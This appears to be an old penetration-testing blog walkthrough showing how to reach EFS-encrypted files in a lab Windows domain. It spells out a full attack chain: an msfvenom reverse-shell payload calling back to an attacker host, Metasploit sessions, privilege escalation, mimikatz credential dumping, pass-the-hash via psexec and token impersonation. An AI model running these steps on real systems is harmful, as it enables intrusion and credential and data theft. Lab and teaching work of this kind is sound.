Windows EFS Overview
EFS, which stands for “Encrypting File System“, is a feature of the NTFS file system that has been available since NTFS version 3. Every business-focused version of Microsoft Windows since Windows 2000 has had the capability to employ Windows EFS.
This article is old and outdated
Note: This post was originally written on a WordPress-powered blog, and has been exported and imported to this blog platform. As a result, unfortunately, not all markdown, code, and output looks as pretty as it once did.
Early implementations of EFS had a number of security vulnerabilities, such as allowing a local administrator account to decrypt any files on the computer, and using weak encryption for user’s keys. Based on what I see on the internet, however, users and practitioners are generally okay with using EFS for enterprise use. This post does not reveal any unknown vulnerabilities in EFS, rather it is just an outline of steps needed and circumstances required to be met in order to compromise EFS-protected data.
EFS is generally user-friendly to implement. As with most forms of file or disk encryption, multiple components and forms of encryption are actually used:
- Asymmetric encryption for each user to encrypt the symmetric key
- Symmetric encryption for encrypting/decrypting the actual files, folders, or drive
Each user that has access to a file (by default: the user who creates the EFS container and the domain admin, local admin, or other designated backup recovery user) has their own public/private key pair. These keys are used to encrypt/decrypt the same symmetric key that all users use to decrypt and encrypt the actual EFS container data. Since asymmetric encryption is more process-intensive, these two (or more; one asymmetric key per user who has access to the files) forms of encryption are used to provide the benefits of both methods of encryption.
Each user must, therefore, have their own public/private key pair. These can be generated through several fashions:
- Upon creating an EFS container, Windows can create a local, self-signed certificate on that computer for the user
- Certificates can be imported for one or more users
- Using PKI or other means, certificates can be distributed to each user in a domain
EFS provides a number of security advantages:
- Only authorized users may decrypt files; without access to an authorized user’s key, nobody can decrypt the EFS container in a practical manner
- Compromising the system does not automatically lead to compromise of the EFS container
- Transparent to the user; does not rely on (potentially weak) passwords
Accessing Windows EFS Containers
To my knowledge, there is no publicly-known way to directly compromise Microsoft’s implementation of EFS on Windows, through a common exploit mechanism. For instance, there is no way that I am aware of to patch a DLL, exploit poorly-implemented EFS encryption, or utilize a network service to access EFS and bypass authentication. The steps I am outlining below are not entirely surprising or successful due to vulnerabilities; rather, they are simply an outline of the steps needed and the conditions that need to be met to access EFS containers.
To simulate an enterprise environment, I setup a number of systems:
- Windows 2008 R2 Domain Controller - IP Address: 10.1.10.8
- Hostname: dc
- Domain: domain.dcnoren.com
- Windows 2008 R2 File Server - IP Address: 10.1.10.24
- Hostname: files
- EFS Container: C:\Shared\contents
- EFS-encrypted file: “My Secret.txt”
- EFS-encrypted file contents: “8*8=64”
- EFS Container User: DOMAIN\s001
- Windows 2008 R2 Web Server - IP Address: 10.1.10.26
- Hostname: web
A small number of user accounts were setup, as well:
- Local Accounts: - By fault, the two member servers had a local administrator account of “Administrator” with a password of “Home@123”
- Domain Accounts (Username:Password – rights): - DOMAIN\Administrator:ThisIsA#1Password – Domain Admin
- DOMAIN\jwood:ThisIsA#2Password – User, Domain Admin
- DOMAIN\s001:ThisIsA#3Password – User, EFS owner on files
- DOMAIN\Nessus:ThisIsA#4Password – User, in local admin group of each server
- DOMAIN\ruser:ThisIsA#5Password – User
- DOMAIN\dcnoren:Home@123 – User
In this simulated environment, the web server (10.1.10.26) is public-facing, and has access to the internal network. The file server (10.1.10.24) and the domain controller (10.1.10.8) are not available to the general network. Our Kali box running Metasploit is on 10.1.10.28.
First, we would need to exploit a system in the environment. Given that the only web-facing system is the web server, we would need to exploit that system. Since actual exploitation is outside the scope of this, we’ll just create an executable using msfvenom, and execute it on the webserver.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.10.28 LPORT=448 -f exe > /var/www/msfpayload.exe
Start up Apache2 to download the payload and fire up MSF:
service apache2 start
service postgresql start
service metasploit start
Now, configure Metasploit to listen for the callback:
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.1.10.26
set LPORT 448
Run the exploit on the web server by browsing to http://10.1.10.28/msfpayload.exe and running the executable (you may need to put the URL into trusted zones, if prompted), and we see a session established:
Now we just run the following to interact with the session:
sessions -i 1
We immediately want to run “getsystem” to try to escalate to system privileges. Then, run “ps” to get a process list, and migrate to a svchost.exe process running with system privileges. In my case, it was process 776, so I ran “migrate 776”. Now, if our user logs out, we won’t lost our meterpreter session.
Next, we want to load to very valuable modules in meterpreter: mimikatz and incognito:
We can immediately run “tspkg”, a component of mimikatz, to try to dump plain-text passwords found in memory on the web server. If a user has recently been logged in, or currently is logged in, we will likely see their plain-text password. We can also run “hashdump” to get the local user SAM database. Here’s what happens when we run “tspkg” and then “hashdump”:
As we see, DOMAIN\jwood’s password is “ThisIsA#2Password”. We also got the local Administrator’s password hash. For now, we’re more interested in the domain account, so, we should check out who this user is. We’ll move into a Windows shell, and query AD:
net user jwood /DOMAIN
As we can tell, this user is in the Domain Admins group. That will give us full authority on the domain! Go ahead and exit out of the shell, to get back to meterpreter, by typing “exit” until you see the meterpreter prompt again.
EFS Discovery Work
If this had been an actual pentest where the network was setup properly, we would want to run the autoroute module to create a gateway on our Kali box, where Metasploit is running, to pipe all traffic destined for the internal network behind the web server via the meterpreter session. Since we’re cheating and using a flat lab environment and can directly connect to each of the servers, we will skip that step.
Let’s go ahead and background the meterpreter session by typing “background”. Now that we know jwood’s username and password, we can use psexec. Remember, we would still be able to use psexec if jwood was not logged in; we would simply try using the local administrator account and it’s password hash (aad3b435b51404eeaad3b435b51404ee:ccfb6828abe5c3996b2e685bd5ac66c3) and simply pass the hash. In that case, you would change “SMBDomain” to “WORKGROUP”, “SMBUser” to “Administrator”, and “SMBPass” to “aad3b435b51404eeaad3b435b51404ee:ccfb6828abe5c3996b2e685bd5ac66c3”. However, let’s skip that and use jwood’s credentials instead:
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.1.10.28
set LPORT 449
set SMBUser jwood
set SMBDomain DOMAIN
set SMBPass ThisIsA#2Password
set RHOST 10.1.10.24
Great! Now we have a session on the file server. Since we don’t need to worry about the user logging out, since we authenticated as jwood, we don’t need to migrate quite yet. Instead, we should explore the system.
Getuid shows we are running as a system process, which is expected behavior when using psexec. Pwd shows we are in C:\Windows\system32. Let’s move into C:\ and investigate.
Hmm… “shared” is a folder. Let’s move into it, and it’s sub-folder:
Mode Size Type Last modified Name —- —- —- ————- —-
40777/rwxrwxrwx 0 dir 2015-02-20 13:07:43 -0500 .
40777/rwxrwxrwx 0 dir 2015-02-20 13:07:29 -0500 ..
100666/rw-rw-rw- 6 fil 2015-02-20 13:08:02 -0500 My Secret.txt
“My Secret.txt” looks pretty interesting!
cat "My Secret.txt"
Access is denied!
So, if we are local admin, why can’t we access the file? Well, in this case, it is because EFS is being used. We need to figure out the owner of the file. Fortunately, there is an easy way to enumerate every user who has an EFS container on the local server: We need to check for the presence of C:/users/[username]/appdata/roaming/microsoft/protect for each user profile on the system. When we do so, we see s001 has such a folder:
Listing: C:\users\s001\appdata\roaming\Microsoft\Protect ======================================================== Mode Size Type Last modified Name —- —- —- ————- —- 40777/rwxrwxrwx 0 dir 2015-02-20 12:59:38 -0500 . 40777/rwxrwxrwx 0 dir 2015-02-20 13:06:55 -0500 .. 100666/rw-rw-rw- 24 fil 2015-02-20 12:59:38 -0500 CREDHIST 40777/rwxrwxrwx 0 dir 2015-02-20 12:59:38 -0500 S-1-5-21-3635450066-1301656686-381623707-1106 100666/rw-rw-rw- 76 fil 2015-02-22 17:12:25 -0500 SYNCHIST
No other user has the “protect” folder in appdata/roaming/microsoft. So, the EFS container must be owned by s001.
Now, we have several options to move forward, listed in the order of potential impact:
- We can impersonate the user DOMAIN\s001 and use that access to read the file - Requirements: User must be currently or recently logged on to this server.
- Benefits: The most silent approach. We can view the data without any other connections or tools needed.
- Negatives: Constrained to command-line. User may not always be logged in to the server.
- We could try using mimikatz again to find DOMAIN\s001’s password, and then login as that user to view the file. - Requirements: User must be currently or recently logged on to this server. Access to RDP or other access methods.
- Benefits: Leaves a smaller impact than option 3. Opens other possible access options, such as RDP, VNC, or file sharing. Allows us to add other users to the authorized user list on the EFS container.
- Negatives: Noisier than option 1. Requires RDP or other options to be open, unless we use the “runas” command. May leave more distinct tracks.
- We can abuse our domain administrator privileges on jwood’s account, change the password for user DOMAIN\s001, and then login as that user to view the file. - Requirements: Requirements of option 2, plus: Domain Admin account access.
- Benefits: Benefits of option 2, plus: Allows us to immediately access files.
- Negatives: Negatives of option 2, plus: Breaks the application relying on s001, and will create huge red flags for the users of the data or application.
- Compromise the domain controller and dump the password hashes for all users, and then login as s001 to view the file. - Requirements: Requirements of option 2, plus: Domain Admin account access. Access to domain controller. Ability to crack NTLM hashes.
- Benefits: Benefits of option 2, plus: complete password hash list for enterprise.
- Negatives: Negatives of option 2, plus: attacking domain controller may be risky, given increased monitoring of a DC.
I personally prefer option number one. Option two would work as well, however it has the same basic requirements of option one. It does, however, allow us to do a little more than option one. Option three is too noisy and risky. Option four may be worthwhile and something you would do anyway when attacking a domain environment.
Impersonating the User
Impersonation is a fun trick provided by the Incognito module in Meterpreter. First, we need to load the module, then type help to see the commands:
We see that using list_tokens will show us all the tokens available. We want to use the -u flag:
Bingo! We see that DOMAIN\s001 is logged in. This means it could be a service account used by an application to access those files, and it is continuously logged in.
Let’s go ahead and impersonate s001. IMPORTANT: note the double backslash! If you leave it off, it won’t work, and may cause issues.
And the response:
meterpreter > impersonate_token DOMAIN\s001 [+] Delegation token available [+] Successfully impersonated user DOMAIN\s001
Now, we just have to navigate to the EFS folder again, and cat the output (or exfil it using some possible methods):
cat "My Secret.txt"
And, we see, the contents of the secret file:
Looks like we picked a poor target in this case… who wouldn’t know 8 times 8 equals 64!?
I’ll leave all the other exploitation options out of the scope of this post; they should be easy enough for most of you to figure out. I am not yet aware of a way to add another user to the EFS container, however mimikatz has some certificate functionality built in, as well as some EFS functionality. Comment below if you have any experience with that path!